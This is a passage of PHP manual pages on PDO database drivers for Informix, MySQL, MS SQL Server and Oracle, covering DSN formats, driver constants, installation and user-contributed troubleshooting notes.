$db = new PDO("informix:DSN=Infdrv33", "", "");

[ODBC Data Sources]
Infdrv33=INFORMIX 3.3 32-BIT

[Infdrv33]
Driver=/opt/informix/csdk_2.81.UC1G2/lib/cli/iclis09b.so
Description=INFORMIX 3.3 32-BIT
Database=common_db
LogonID=testuser
pwd=testpass
Servername=ids_server
DB_LOCALE=en_US.819
OPTIMIZEAUTOCOMMIT=1
ENABLESCROLLABLECURSORS=1

Example #2 PDO_INFORMIX DSN example using a connection string

The following example shows a PDO_INFORMIX DSN for connecting to an Informix database named common_db using the Informix connection string syntax.

$db = new PDO("informix:host=host.domain.com; service=9800;
    database=common_db; server=ids_server; protocol=onsoctcp;
    EnableScrollableCursors=1", "testuser", "tespass");

User Contributed Notes

phanx at phanx dot com 07-Jan-2010 10:56
When connect to the Dynamic Informix Server, got this error log in apache's error log file:

[Wed Dec 30 12:44:11 2009] [error] [client 1.1.1.1] PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE=HY000, SQLDriverConnect: -11005 [Informix][Informix ODBC Driver]Unspecified System Error =  -11005.' in /opt/webroot/informix.php:5\nStack trace:\n#0 /opt/webroot/informix.php(5): PDO->__construct('informix:host=l...', 'username', 'password')\n#1 {main}\n  thrown in /opt/webroot/informix.php on line 5

you should export correct INFORMIXDIR enviroment variable for root user and restart the web server.

and another error:

[Wed Dec 30 13:10:10 2009] [error] [client 1.1.1.1] PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE=01S00, SQLDriverConnect: -11005 [Informix][Informix ODBC Driver]Invalid connection string attribute.' in /opt/webroot/informix.php:5\nStack trace:\n#0 /opt/webroot/informix.php(5): PDO->__construct('informix:host=l...', 'username', 'password')\n#1 {main}\n  thrown in /opt/webroot/informix.php on line 5

you should let your connection string in one line, without line feed.


MySQL Functions (PDO_MYSQL)

Introduction

PDO_MYSQL is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to MySQL 3.x, 4.x and 5.x databases.

PDO_MYSQL will take advantage of native prepared statement support present in MySQL 4.1 and higher. If you're using an older version of the mysql client libraries, PDO will emulate them for you.

Warning

Beware: Some MySQL table types (storage engines) do not support transactions. When writing transactional database code using a table type that does not support transactions, MySQL will pretend that a transaction was initiated successfully. In addition, any DDL queries issued will implicitly commit any pending transactions.

Installation

Use --with-pdo-mysql[=DIR] to install the PDO MySQL extension, where the optional [=DIR] is the MySQL base install directory. If mysqlnd is passed as [=DIR], then the MySQL native driver will be used.

Optionally, the --with-mysql-sock[=DIR] sets to location to the MySQL unix socket pointer for all MySQL extensions, including PDO_MYSQL. If unspecified, the default locations are searched.

Optionally, the --with-zlib-dir[=DIR] is used to set the path to the libz install prefix.

$ ./configure --with-pdo-mysql --with-mysql-sock=/var/mysql/mysql.sock

SSL support is enabled using the appropriate PDO_MySQL constants, which is equivalent to calling the » MySQL C API function mysql_ssl_set(). Also, SSL cannot be enabled with PDO::setAttribute because the connection already exists. See also the MySQL documentation about » connecting to MySQL with SSL.

Changelog
Version | Description
5.4.0 | MySQL client libraries 4.1 and below are no longer supported.
5.3.9 | Added SSL support with mysqlnd and OpenSSL.
5.3.7 | Added SSL support with libmysqlclient and OpenSSL.

Predefined Constants

The constants below are defined by this driver, and will only be available when the extension has been either compiled into PHP or dynamically loaded at runtime. In addition, these driver-specific constants should only be used if you are using this driver. Using driver-specific attributes with another driver may result in unexpected behaviour. PDO::getAttribute() may be used to obtain the PDO_ATTR_DRIVER_NAME attribute to check the driver, if your code can run against multiple drivers.

PDO::MYSQL_ATTR_USE_BUFFERED_QUERY (integer)
If this attribute is set to TRUE on a PDOStatement, the MySQL driver will use the buffered versions of the MySQL API. If you're writing portable code, you should use PDOStatement::fetchAll() instead.

Example #1 Forcing queries to be buffered in mysql

<?php
if ($db->getAttribute(PDO::ATTR_DRIVER_NAME) == 'mysql') {
    $stmt = $db->prepare('select * from foo',
        array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true));
} else {
    die("my application only works with mysql; I should use \$stmt->fetchAll() instead");
}
?>

PDO::MYSQL_ATTR_LOCAL_INFILE (integer)

Enable LOAD LOCAL INFILE.

Note, this constant can only be used in the driver_options array when constructing a new database handle.

PDO::MYSQL_ATTR_INIT_COMMAND (integer)

Command to execute when connecting to the MySQL server. Will automatically be re-executed when reconnecting.

Note, this constant can only be used in the driver_options array when constructing a new database handle.

PDO::MYSQL_ATTR_READ_DEFAULT_FILE (integer)

Read options from the named option file instead of from my.cnf. This option is not available if mysqlnd is used, because mysqlnd does not read the mysql configuration files.

PDO::MYSQL_ATTR_READ_DEFAULT_GROUP (integer)

Read options from the named group from my.cnf or the file specified with MYSQL_READ_DEFAULT_FILE. This option is not available if mysqlnd is used, because mysqlnd does not read the mysql configuration files.

PDO::MYSQL_ATTR_MAX_BUFFER_SIZE (integer)

Maximum buffer size. Defaults to 1 MiB. This constant is not supported when compiled against mysqlnd.

PDO::MYSQL_ATTR_DIRECT_QUERY (integer)

Perform direct queries, don't use prepared statements.

PDO::MYSQL_ATTR_FOUND_ROWS (integer)

Return the number of found (matched) rows, not the number of changed rows.

PDO::MYSQL_ATTR_IGNORE_SPACE (integer)

Permit spaces after function names. Makes all functions names reserved words.

PDO::MYSQL_ATTR_COMPRESS (integer)

Enable network communication compression. This is not supported when compiled against mysqlnd.

PDO::MYSQL_ATTR_SSL_CA (integer)

The file path to the SSL certificate authority.

This exists as of PHP 5.3.7.

PDO::MYSQL_ATTR_SSL_CAPATH (integer)

The file path to the directory that contains the trusted SSL CA certificates, which are stored in PEM format.

This exists as of PHP 5.3.7.

PDO::MYSQL_ATTR_SSL_CERT (integer)

The file path to the SSL certificate.

This exists as of PHP 5.3.7.

PDO::MYSQL_ATTR_SSL_CIPHER (integer)

A list of one or more permissible ciphers to use for SSL encryption, in a format understood by OpenSSL. For example: DHE-RSA-AES256-SHA:AES128-SHA

This exists as of PHP 5.3.7.

PDO::MYSQL_ATTR_SSL_KEY (integer)

The file path to the SSL key.

This exists as of PHP 5.3.7.

Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PDO_MYSQL Configuration Options
Name | Default | Changeable
pdo_mysql.default_socket | "/tmp/mysql.sock" | PHP_INI_SYSTEM
pdo_mysql.debug | NULL | PHP_INI_SYSTEM
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

pdo_mysql.default_socket string

Sets a Unix domain socket. This value can either be set at compile time if a domain socket is found at configure. This ini setting is Unix only.

pdo_mysql.debug boolean

Enables debugging for PDO_MYSQL. This setting is only available when PDO_MYSQL is compiled against mysqlnd and in PDO debug mode.

Table of Contents

  • PDO_MYSQL DSN — Connecting to MySQL databases

User Contributed Notes

georgy dot garnov at gmail dot com 14-Oct-2014 07:27
PDO::MYSQL_ATTR_LOCAL_INFILE - will not work if you have
open_basedir in your php.ini
kat dot shupe dot work at gmail dot com 16-Apr-2014 11:07
So, I'm trying to get one PHP file to be able to call from two SQL databases at the same time. How can I do that? Or rather, how can I close a connection being made by SqltoAssoc PDO function so I can start a second one with a completely different SQL database?

Thanks in advanced!
Gerald Schneider 09-Nov-2013 05:25
This page suggests that the constant PDO::MYSQL_ATTR_FOUND_ROWS  was always available (no note "exists as of X.X"), but I found the constant missing on an installation with PHP 5.2. After switching the PHP version to 5.3.27 on the webspace the constant was available.
david at manifestwebdesign dot com 27-Oct-2011 11:22
The SSL options are silently ignored in PHP 5.3.8, see https://bugs.php.net/bug.php?id=55870
Looks like it's addressed upstream, I just want to save others the hour and a half I just wasted :)
curt at webmasterbond dot com 16-Apr-2011 02:54
Today's PHP snapshot now has SSL support for PDO. Follow the directions here ( http://dev.mysql.com/doc/refman/5.0/en/secure-create-certs.html ) to set up MySQL and then use the following connection options:

<?php
$pdo = new PDO(
    'mysql:host=hostname;dbname=ssldb',
    'username',
    'password',
    array(
        PDO::MYSQL_ATTR_SSL_KEY    =>'/path/to/client-key.pem',
        PDO::MYSQL_ATTR_SSL_CERT=>'/path/to/client-cert.pem',
        PDO::MYSQL_ATTR_SSL_CA    =>'/path/to/ca-cert.pem'
    )
);
?>
brian at diamondsea dot com 25-Jul-2008 08:26
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. ...

After spending hours trying to track down why we were getting this error on a new server, after the same code ran fine on other servers, we found the problem to be an old MySQL _client_ library running on our web server, and a latest-version MySQL _server_ running on the database server's box.

Upgraded the MySQL client on the web server to the current revision and the problem went away.
miller_kurt_e at yahoo dot com 20-Jul-2008 11:03
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. ...

This one can be a royal pain to deal with.  Never stack statements to be executed in one go.  Nobody ever mentions this possibility in all the posts I've seen dealing with this error.

This example is a Zend Framework example but the theory is the same.

As in:

<?php
$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `ticket_hist` (
       `tid` int(11) NOT NULL,
       `trqform` varchar(40) NOT NULL,
       `trsform` varchar(40) NOT NULL,
       `tgen` datetime NOT NULL,
       `tterm` datetime,
       `tstatus` tinyint(1) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='ticket archive';
     CREATE TABLE IF NOT EXISTS `request_hist` (
       `rqid` int(11) NOT NULL,
       `rqtid` int(11) NOT NULL,
       `rqsid` int(11) NOT NULL,
       `rqdate` datetime NOT NULL,
       `rqcode` tinyint(1) NOT NULL,
       `rssid` int(11) NOT NULL,
       `rsdate` datetime,
       `rscode` tinyint(1)
     ) ENGINE=ARCHIVE COMMENT='request archive';
     CREATE TABLE IF NOT EXISTS `relay_hist` (
       `rqid` int(5) NOT NULL,
       `sdesc` varchar(40) NOT NULL,
       `rqemail` varchar(40) NOT NULL,
       `sid` int(11) NOT NULL,
       `rlsid` int(11) NOT NULL,
       `dcode` varchar(5) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='relay archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);
?>

This will run fine but PDO will balk with the 'unbuffered' error if you follow this with another query.

Instead do:

<?php
$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `ticket_hist` (
       `tid` int(11) NOT NULL,
       `trqform` varchar(40) NOT NULL,
       `trsform` varchar(40) NOT NULL,
       `tgen` datetime NOT NULL,
       `tterm` datetime,
       `tstatus` tinyint(1) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='ticket archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);

$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `request_hist` (
       `rqid` int(11) NOT NULL,
       `rqtid` int(11) NOT NULL,
       `rqsid` int(11) NOT NULL,
       `rqdate` datetime NOT NULL,
       `rqcode` tinyint(1) NOT NULL,
       `rssid` int(11) NOT NULL,
       `rsdate` datetime,
       `rscode` tinyint(1)
     ) ENGINE=ARCHIVE COMMENT='request archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);

$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `relay_hist` (
       `rqid` int(5) NOT NULL,
       `sdesc` varchar(40) NOT NULL,
       `rqemail` varchar(40) NOT NULL,
       `sid` int(11) NOT NULL,
       `rlsid` int(11) NOT NULL,
       `dcode` varchar(5) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='relay archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);
?>

Chopping it into individual queries fixes the problem.
rmottey at gmail dot com 09-Jan-2008 12:51
I have been getting the error below when performing multiple queries within a single page.

Setting the attribute below did not seem to work for me.

So building on previous example i am initilizing my stmt  variable on every query and a fetch all into an array. Seems to be working for me.

Error:
PDO Error 1.1: Array ( [0] => xxx[1] => yyy[2] => Lost connection to MySQL server during query )

Fix:

(PDO::setAttribute("PDO::MYSQL_ATTR_USE_BUFFERED_QUERY", true);)

<?

try {
        $dbh = new PDO('mysql:host=xxx;port=xxx;dbname=xxx', 'xxx', 'xxx', array( PDO::ATTR_PERSISTENT => false));
 $stmt = $dbh->prepare("CALL getname()");

        // call the stored procedure
        $stmt->execute();
      // fetch all rows into an array.
       $rows = $stmt->fetchAll();
       foreach ($rows as $rs)
    {
          $id = $rs['id'];
         }
//initilise the statement
unset($stmt);
$stmt = $dbh->prepare("call secondprocedure(?);");
$stmt->bindValue(1, $id);
if ( ! $stmt->execute() )
{
    echo "PDO Error 1.1:\n";
    print_r($stmt->errorInfo());
    exit;
}
unset($stmt);
} catch (PDOException $e) {
        print "Error!: " . $e->getMessage() . "<br/>";
        die();
    }
?>
marty at excudo dot net 17-Oct-2007 02:13
Davey wrote:
> To use "PDO::MYSQL_ATTR_USE_BUFFERED_QUERY" you should call
> PDO::setAttribute("PDO::MYSQL_ATTR_USE_BUFFERED_QUERY", true);
>
>It will not work when passed into PDO::prepare()
>
> - Davey

Almost correct. It should be:

PDO::setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);

so, without the quotes.
otherwise it still won't work :)
konrads dot smelkovs at gmail dot com 18-Jul-2007 12:39
A note for the eager:
There is no way how to get returned row count from an executed prepared statement without fetching the rows.
davey at php dot net 06-Jun-2007 10:46
To use "PDO::MYSQL_ATTR_USE_BUFFERED_QUERY" you should call
PDO::setAttribute("PDO::MYSQL_ATTR_USE_BUFFERED_QUERY", true);

It will not work when passed into PDO::prepare()

- Davey
dibakar at talash dot net 12-Sep-2006 08:31
PDO is much better option for calling procedures, views or triggers of mysql 5.x versions from PHP instead of using mysqli extension. Following is a simple demo script which can  help anybody on how to call and use mysql procedures through php

try {
        $dbh = new PDO('mysql:host=xxx;port=xxx;dbname=xxx', 'xxx', 'xxx', array( PDO::ATTR_PERSISTENT => false));

        $stmt = $dbh->prepare("CALL getname()");

        // call the stored procedure
        $stmt->execute();

        echo "<B>outputting...</B><BR>";
        while ($rs = $stmt->fetch(PDO::FETCH_OBJ)) {
            echo "output: ".$rs->name."<BR>";
        }
        echo "<BR><B>".date("r")."</B>";

    } catch (PDOException $e) {
        print "Error!: " . $e->getMessage() . "<br/>";
        die();
    }


Connecting to MySQL databases

  • « MySQL (PDO)
  • MS SQL Server (PDO) »
  • PHP Manual
  • MySQL (PDO)
  • Connecting to MySQL databases

PDO_MYSQL DSN

(PECL PDO_MYSQL >= 0.1.0)

PDO_MYSQL DSN — Connecting to MySQL databases

Description

The PDO_MYSQL Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is mysql:.

host

The hostname on which the database server resides.

port

The port number where the database server is listening.

dbname

The name of the database.

unix_socket

The MySQL Unix socket (shouldn't be used with host or port).

charset

The character set. See the character set concepts documentation for more information.

Prior to PHP 5.3.6, this element was silently ignored. The same behaviour can be partly replicated with the PDO::MYSQL_ATTR_INIT_COMMAND driver option, as the following example shows.

Warning

The method in the below example can only be used with character sets that share the same lower 7 bit representation as ASCII, such as ISO-8859-1 and UTF-8. Users using character sets that have different representations (such as UTF-16 or Big5) must use the charset option provided in PHP 5.3.6 and later versions.

Example #1 Setting the connection character set to UTF-8 prior to PHP 5.3.6

<?php
$dsn = 'mysql:host=localhost;dbname=testdb';
$username = 'username';
$password = 'password';
$options = array(
    PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8',
);

$dbh = new PDO($dsn, $username, $password, $options);
?>

Changelog

Version | Description
5.3.6 | Prior to version 5.3.6, charset was ignored.

Examples

Example #2 PDO_MYSQL DSN examples

The following example shows a PDO_MYSQL DSN for connecting to MySQL databases:

mysql:host=localhost;dbname=testdb
More complete examples:
mysql:host=localhost;port=3307;dbname=testdb
mysql:unix_socket=/tmp/mysql.sock;dbname=testdb

Notes

Note: Unix only:

When the host name is set to "localhost", then the connection to the server is made thru a domain socket. If PDO_MYSQL is compiled against libmysqlclient then the location of the socket file is at libmysqlclient's compiled in location. If PDO_MYSQL is compiled against mysqlnd a default socket can be set thru the pdo_mysql.default_socket setting.

User Contributed Notes

johne dot doe at hotmail dot com 11-Feb-2014 06:19
on unix machines create a php file with the following content:

<?php>
phpinfo();
?>

and execute it. Search for MYSQL_SOCKET or mysqli.default_socket to get the correct path for unixsocket= ...
damien at mc-kenna dot com 13-Jan-2012 04:58
It appears that internally the host string infers a default of "localhost", e.g. this appears to work as a valid $dsn: mysql:host=;port=3306
rustamabd at gmail dot com 15-Mar-2009 09:18
Even though pdo_mysql accepts an additional "charset" parameter in the DSN (see mysql_driver.c:442), as of PHP 5.2.9 it does not do anything with it.

A possible workaround to set the charset to UTF-8, for example, could be:
<?php

    $dbh = new PDO("mysql:$connstr",  $user, $password);

    $dbh -> exec("set names utf8");

?>
codeslinger at compsalot dot com 11-Mar-2009 12:00
I have tested this and found that the "dbname" field is optional.  Which is a good thing if you must first create the db.

After creating a db be sure to exec a "use dbname;"  command, or else use fully specified table references.


Microsoft SQL Server Functions (PDO_SQLSRV)

Introduction

PDO_SQLSRV is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to MS SQL Server (starting with SQL Server 2005) and SQL Azure databases.

Installation

The PDO_SQLSRV extension is enabled by adding appropriate DLL file to your PHP extension directory and the corresponding entry to the php.ini file. The PDO_SQLSRV download comes 8 driver files, four of which are for PDO support. If you are running non-thread-safe PHP (PHP 5.3), use the php_pdo_sqlsrv_53_nts.dll file. (You should use a non-thread-safe version if you are using IIS as your web server). If you are running thread-safe PHP, use the php_pdo_sqlsrv_53_ts.dll file. Similarly for PHP 5.4, use the php_pdo_sqlsrv_54_nts.dll or php_pdo_sqlsrv_54_ts.dll depending on whether your PHP installation is non-thread-safe or thread-safe.

The most recent version of the driver is available for download here: » SQLSRV 3.0 download. If you need support for PHP 5.2 and/or PHP compiled with VC6, use the 2.0 release of the driver: » SQLSRV 2.0 download.

For more information about system requirements, see » SQLSRV System Requirements.

The PDO_SQLSRV extension is only compatible with PHP running on Windows. For Linux, see ODBC and » Microsoft's SQL Server ODBC Driver for Linux.

Predefined Constants

The constants below are defined by this driver, and will only be available when the extension has been either compiled into PHP or dynamically loaded at runtime. In addition, these driver-specific constants should only be used if you are using this driver. Using driver-specific attributes with another driver may result in unexpected behaviour. PDO::getAttribute() may be used to obtain the PDO_ATTR_DRIVER_NAME attribute to check the driver, if your code can run against multiple drivers.

PDO::SQLSRV_TXN_READ_UNCOMMITTED (integer)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Read Uncommitted.
PDO::SQLSRV_TXN_READ_COMMITTED (integer)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Read Committed.
PDO::SQLSRV_TXN_REPEATABLE_READ (integer)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Repeateable Read.
PDO::SQLSRV_TXN_SNAPSHOT (integer)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Snapshot.
PDO::SQLSRV_TXN_SERIALIZABLE (integer)
This constant is an acceptable value for the SQLSRV DSN key TransactionIsolation. This constant sets the transaction isolation level for the connection to Serializable.
PDO::SQLSRV_ENCODING_BINARY (integer)
Specifies that data is sent/retrieved as a raw byte stream to/from the server without performing encoding or translation. This constant can be passed to PDOStatement::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_SYSTEM (integer)
Specifies that data is sent/retrieved to/from the server as 8-bit characters as specified in the code page of the Windows locale that is set on the system. Any multi-byte characters or characters that do not map into this code page are substituted with a single byte question mark (?) character. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_UTF8 (integer)
Specifies that data is sent/retrieved to/from the server in UTF-8 encoding. This is the default encoding. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ENCODING_DEFAULT (integer)
Specifies that data is sent/retrieved to/from the server according to PDO::SQLSRV_ENCODING_SYSTEM if specified during connection. The connection's encoding is used if specified in a prepare statement. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, PDO::prepare, PDOStatement::bindColumn, and PDOStatement::bindParam.
PDO::SQLSRV_ATTR_QUERY_TIMEOUT (integer)
A non-negative integer representing the timeout period, in seconds. Zero (0) is the default and means no timeout. This constant can be passed to PDOStatement::setAttribute, PDO::setAttribute, and PDO::prepare.
PDO::SQLSRV_ATTR_DIRECT_QUERY (integer)
Indicates that a query should be executed directly, without being prepared. This constant can be passed to PDO::setAttribute, and PDO::prepare. For more information, see » Direct and Prepared Statement Execution.

Table of Contents

  • PDO_SQLSRV DSN — Connecting to MS SQL Server and SQL Azure databases

User Contributed Notes

Anonymous 15-Jul-2014 10:03
Note that Microsoft has not been updating this driver for some time.  There are unofficial builds for PHP 5.5 based on patches against the source code head revision (from codeplex), and unconfirmed rumors that getting the source to build with PHP 5.6 is difficult.

Official versions have been released only for PHP 5.2, 5.3 and 5.4.

These problems probably apply to both the PDO driver (pdo_sqlsrv) and the non-PDO driver (sqlsrv extension), since they seem to be built and released together.


Connecting to MS SQL Server and SQL Azure databases

  • « MS SQL Server (PDO)
  • Oracle (PDO) »
  • PHP Manual
  • MS SQL Server (PDO)
  • Connecting to MS SQL Server and SQL Azure databases

PDO_SQLSRV DSN

(No version information available, might only be in Git)

PDO_SQLSRV DSN — Connecting to MS SQL Server and SQL Azure databases

Description

The PDO_SQLSRV Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is sqlsrv:.

APP

The application name used in tracing.

ConnectionPooling

Specifies whether the connection is assigned from a connection pool (1 or TRUE) or not (0 or FALSE).

Database

The name of the database.

Encrypt

Specifies whether the communication with SQL Server is encrypted (1 or TRUE) or unencrypted (0 or FALSE).

Failover_Partner

Specifies the server and instance of the database's mirror (if enabled and configured) to use when the primary server is unavailable.

LoginTimeout

Specifies the number of seconds to wait before failing the connection attempt.

MultipleActiveResultSets

Disables or explicitly enables support for multiple active Result sets (MARS).

QuotedId

Specifies whether to use SQL-92 rules for quoted identifiers (1 or TRUE) or to use legacy Transact-SQL rules (0 or false).

Server

The name of the database server.

TraceFile

Specifies the path for the file used for trace data.

TraceOn

Specifies whether ODBC tracing is enabled (1 or TRUE) or disabled (0 or FALSE) for the connection being established.

TransactionIsolation

Specifies the transaction isolation level. The accepted values for this
option are PDO::SQLSRV_TXN_READ_UNCOMMITTED, PDO::SQLSRV_TXN_READ_COMMITTED,
PDO::SQLSRV_TXN_REPEATABLE_READ, PDO::SQLSRV_TXN_SNAPSHOT, and
PDO::SQLSRV_TXN_SERIALIZABLE.

TrustServerCertificate

Specifies whether the client should trust (1 or TRUE) or reject (0 or FALSE) a self-signed server certificate.

WSID

Specifies the name of the computer for tracing.

Examples

Example #1 PDO_SQLSRV DSN examples

The following example shows how to connecto to a specified MS SQL Server database:

$c = new PDO("sqlsrv:Server=localhost;Database=testdb", "UserName", "Password");

The following example shows how to connect to a MS SQL Server database on a specified port:

$c = new PDO("sqlsrv:Server=localhost,1521;Database=testdb", "UserName", "Password");

The following example shows how to connecto to a SQL Azure database with server ID 12345abcde. Note that when you connect to SQL Azure with PDO, your username will be UserName@12345abcde (UserName@ServerId).

$c = new PDO("sqlsrv:Server=12345abcde.database.windows.net;Database=testdb", "UserName@12345abcde", "Password");

User Contributed Notes

alasdair at angryloner dot com dot au 12-May-2014 01:09
Adding the backslash solved the problem for me.

Here's my functioning localdb connection string:

new PDO("sqlsrv:Server=(localdb)\\v11.0 ; Database = my_db ; AttachDBFilename = C:\Users\user\my_db.mdf", "", "");
support at spam eaccounts trap net 22-Feb-2014 04:34
I suspect the problem with "Server=foo-sql\MSSQLSERVER" was you didn't escape the backslash, with a backslash.

If hostname worked, than IP would work as well given a hostname resolves to an IP unless your DNS was mapping to the wrong IP which would be a simple issue.

I suspect you are running your web services on the same host as mssql?  If so, confirm that your mssql server is set to bind to IP addresses (if you want access from the outside of that box).  If you are only able to connect via a name (as in a NetBIOS or Active Directory name), it's likely you are connecting to a "socket" or named pipe.
david at nospam-rm-this dot functionalchaos dot net 29-Oct-2013 03:16
I found with MS-SQL Server 2008 on Windows Server 2008 R2 that I needed to use the MSSQL Server name. The servers hostname or IP address would not work ( with or without port, and/or SQL instance name, etc.) After trying several combinations, this is what I found worked in my configuration:

host-ip: 10.4.2.50
host-name: mssqlhost.mydomain.org
mssql-server-name: foo-sql
mssql-instance-name: MSSQLSERVER
database-name: mydb

<?php

$dbh = new PDO("sqlsrv:Server=foo-sql,1433;Database=mydb", $user , $pass);

?>

The above worked with and without port (,1433). I also noticed adding the instance name (MSSQLSERVER) after the server name with a slash (\), as in "Server=foo-sql\MSSQLSERVER" caused a failure to connect.


Oracle Functions (PDO_OCI)

Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

PDO_OCI is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to Oracle databases through the OCI library.

Installation

Use --with-pdo-oci[=DIR] to install the PDO Oracle OCI extension, where the optional [=DIR] is the Oracle Home directory. [=DIR] defaults to the $ORACLE_HOME environment variable.

Use --with-pdo-oci=instantclient,prefix,version for an Oracle Instant Client SDK, where prefix and version are configured.

// Using $ORACLE_HOME
$ ./configure --with-pdo-oci

// Using OIC for Linux with 10.2.0.3 RPMs with a /usr prefix
$ ./configure --with-pdo-oci=instantclient,/usr,10.2.0.3

Table of Contents

  • PDO_OCI DSN — Connecting to Oracle databases

User Contributed Notes

sebastian dot la dot spina at gmail dot com 10-Jan-2014 06:03
For Red hat 6, 64bits, client 11.2,
After touch config.m4 and tune up libs symlinks..
I get a compilation error "pdo_oci.c:34: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘pdo_oci_functions’"
To solve it just change function_entry to zend_function_entry @pdo_oci.c file.

:)
paul dot pratt at atmel dot com 11-Jun-2013 07:45
Is PHP-to-Oracle much slower  than Php-to-MySql ?  I have battled my way through a conversion of Php4/MySql to Php5/Oracle (stumbling over Clobs and php5-variable-initialization).   Everything works, but...
  Querys that took 8 seconds in MySql, now take 3 mintues with Oracle.  Yes, I have indexes on the Oracle tables.  Are Oracle connections that much more expensive than MySql? I did use oci_pconnect.
php at ideacode dot com 13-Oct-2011 04:28
If you're getting the "I'm too dumb to find oci.h" error, try creating a variety of paths.  One variety uses just the major and minor of your OIC version (eg, 11.2 for 11.2.0.2) and another variety uses client64 as well as client.

Something like this (for 11.2.0.2):
ln -s /usr/include/oracle/11.2.0.2/ /usr/include/oracle/11.2
ln -s /usr/include/oracle/11.2/client /usr/include/oracle/11.2/client64
ln -s /usr/lib/oracle/11.2.0.2/ /usr/lib/oracle/11.2
ln -s /usr/lib/oracle/11.2/client /usr/lib/oracle/11.2/client64

This should cover your bases for 64-bit systems, as well as PHP patched to use the major.minor version number only.  See also PHP bug #44989.
redlorry919 at gmail dot com 10-Jun-2011 12:15
Take note of the note at the top, this really is an experimental extension. I had a problem trying to read data from Oracle which resulted in some strange behaviour in PHP. i.e. foreach loops not ending, with no error messages. I also managed to get the data from Oracle into an array in PHP, but then couldn't return the array from a function.

After pulling my hair out for a day, it turned out to be a CLOB column in Oracle that caused the strange behaviour in PHP. I assume this extension doesn't fully support them.

Instead I've typecast it within the SQL to a VARCHAR2 which seems to resolve it:

SELECT CAST(columnx AS VARCHAR2(4000)) AS columnx ...

It might help someone else having similar issues.
geompse at gmail dot com 28-Jun-2010 06:49
Notice the red block at the beginning of this page... pdo_oci is HIGHLY experimental.

Even though it is under dev from 2004, it lakes today support for things that _do_ matters :
 - bind a varchar2 of 3500 chars
 - get selected metas
 - left join with blobs/clobs
 - etc.

For the story, since we use pdo_pgsql in our software, I thought it would be viable to use pdo_oci for running under Oracle. After a long battle, I finally won :

1) If requested driver has a non-experimental pdo version available, use it.
2) else (well, for pdo_oci at least), use an abstraction layer of your own.
3) you're done.

What I did in more details...

2 "main" classes for being compliant with "$obj instanceof PDO" or such :
 - class PhpDb extends PDO
 - class PhpDbStatement extends PDOStatement
2 "abstract" classes that defines what PDO actually does :
 - abstract class PhpDbAbstract
 - abstract class PhpDbAbstractStatement
And at last for each driver, 2 classes doing the abstraction :
 - class PhpDbDriverOracle extends PhpDbAbstract
 - class PhpDbDriverOracleStatement extends PhpDbAbstractStatement

"main" classes are accessed from your script, simply replace "new PDO" with "new PhpDb".
"abstract" classes are mainly there for the documentation :p
"driver" classes do the job in background, they are instances by the main classes.

My PhpDb will be in an open source project sooner or later, search google or mail me !
av01 at bugfix dot cc 03-Apr-2010 05:57
In order to get this compiled on my CentOS 5.4 x86_64 box, I had to do some extra settings that might be useful for others:

Install oracle-instantclient11.2-basic and oracle-instantclient11.2-devel RPMs from Oracle

Create some symbolic links because configure contains some outdated assumptions about path names and doesn't care about 64-bit systems:
ln -s /usr/lib/oracle/11.2/client64 /usr/lib/oracle/11.2/client
ln -s /usr/include/oracle/11.2/client64  /usr/lib/oracle/11.2/client/include

Add the following to your configure command:
--with-pdo-oci=shared,instantclient,/usr,11.2
sixd at php dot net 26-Jun-2009 08:53
From the PHP 5.3 UPGRADING file:

- The PDO_OCI php_pdo_oci8.dll library (for use with Oracle version 8 client
  libraries) is no longer being built [with PHP 5.3]. Instead, use php_pdo_oci.dll (note no
  '8') with Oracle 10 or 11 client libraries. Connection to other database
  versions is still supported.
fernando dot wendt at gmail dot com 20-Jan-2009 02:18
To enable PDO support on PHP for Oracle Instant Client 11.1.x, you should follow the syntax above in the compile command, just as pointed by Andrew http://bugs.php.net/bug.php?id=39312, taking by default you have installed the OIC at /usr/lib/oracle (instant client and sdk at subfolder):

./configure --with-oci8=shared,instantclient,/usr/lib/oracle
